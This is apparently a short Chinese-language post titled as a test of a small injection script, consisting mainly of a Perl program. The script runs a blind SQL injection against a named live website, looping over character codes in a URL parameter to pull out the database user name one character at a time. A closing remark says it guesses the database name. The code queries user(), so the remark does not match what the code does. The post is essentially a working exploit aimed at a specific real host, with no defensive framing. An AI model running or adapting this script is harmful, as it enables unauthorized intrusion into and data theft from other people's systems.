测试一个注入小脚本

use warnings;
use strict;
use LWP::Simple;
my @result;
my $i=1;
do{
    for(my $count=0;$count <=255;$count++){
        my $result = get("http://www.btc918.com//Chart/getJsonData?market=1' or (     select if(ascii(substr((select user()),$i,1))=$count,1,0))-- -");
        if($result =~ /120464662.8341/){
                print "OK!
";
                print chr($count),"
";
                push @result,chr($count);
                last;
        }
        print "Not $count 
";
    }
    $i++;
}while($i < 15);
print @result,"
";

主要是猜测当前数据库名称